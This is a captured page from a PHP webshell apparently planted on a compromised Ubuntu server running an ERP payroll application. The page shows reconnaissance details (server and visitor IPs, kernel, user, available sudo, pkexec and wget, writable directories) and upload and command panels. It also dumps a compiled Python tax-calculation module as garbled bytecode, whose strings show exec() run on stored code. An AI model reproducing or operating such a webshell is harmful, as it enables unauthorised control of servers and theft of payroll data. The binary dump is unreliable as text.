403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/payroll/methods/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/payroll/methods/__pycache__/tax_calc.cpython-310.pyc
o

hͦh�@sRdZddlZddlZddlmZmZddlmZddlm	Z	e�
e�Zdd�Z
dS)z�
Module: payroll.tax_calc

This module contains a function for calculating the taxable amount for an employee
based on their contract details and income information.
�N)�calculate_gross_pay�calculate_taxable_gross_pay)�Contract)�
TaxBracketc
s>|d}|d}|d}|d}tjj|dd���}|j}|s!dSd}tjj|d��d	�}||jd
}	tt	d�}
|j
}||
vrR|
|}|d"i|��}
t|
|�}
nt|�}
|j}t
�|d
d
�}t
�|dd
�}||jd
}|
|	|�t�d��d}|dur�|jsŇfdd�|�dd	d�D�}g}|D]&}|d|dkr�|d|d|d<|dd|d|d<|�|�q�tdd�|D��}nB|j�r|j}|�dd�}d}||}|�dd �}i}t|i|�z|d!��}Wnt�y}zt�|�WYd}~nd}~wwd}|�r|���s|j�r||}||	}|S)#afCalculate the taxable amount for a given employee within a specific period.

    Args:
        employee (int): The ID of the employee.
        start_date (datetime.date): The start date of the period.
        end_date (datetime.date): The end date of the period.
        allowances (int): The number of allowances claimed by the employee.
        total_allowance (float): The total allowance amount.
        basic_pay (float): The basic pay amount.
        day_dict (dict): A dictionary containing specific day-related information.

    Returns:
        float: The federal tax amount for the specified period.
    �employee�
start_date�end_date�	basic_pay�active)�employee_id�contract_statusr)�filing_status_id�
min_income�)�taxable_gross_pay�	gross_pay���Ncs*g|]}|d|dt|d��d��qS)�tax_rater�
max_income)�rate�min�max)r)�.0�item��
yearly_income��(/var/www/erp/payroll/methods/tax_calc.py�
<listcomp>Gs���z,calculate_taxable_amount.<locals>.<listcomp>rrrr�diffr�d�calculated_ratecss�|]}|dVqdS)r#Nr)r�bracketrrr�	<genexpr>Ws�z+calculate_taxable_amount.<locals>.<genexpr>zprint(zpass_print(z2
def pass_print(*args, **kwargs):
    return None
z  formated_result(z#  formated_result(�calcluate_federal_taxr)r�objects�filter�first�
filing_statusr�order_by�daysrr�based_on�float�year�datetime�date�round�use_py�values�append�sum�python_code�replace�exec�	Exception�logger�error�exists)�kwargsrrrr	�contract�filing�federal_tax_for_period�tax_brackets�num_days�calculation_functions�based�calculation_function�incomer/�check_start_date�check_end_date�
total_days�federal_tax�brackets�filterd_bracketsr$�code�
pass_print�
local_vars�e�daily_federal_taxrrr�calculate_taxable_amounts�����

�
��rS)�__doc__r0�logging�payroll.methods.payslip_calcrr�payroll.models.modelsr�payroll.models.tax_modelsr�	getLogger�__name__r;rSrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit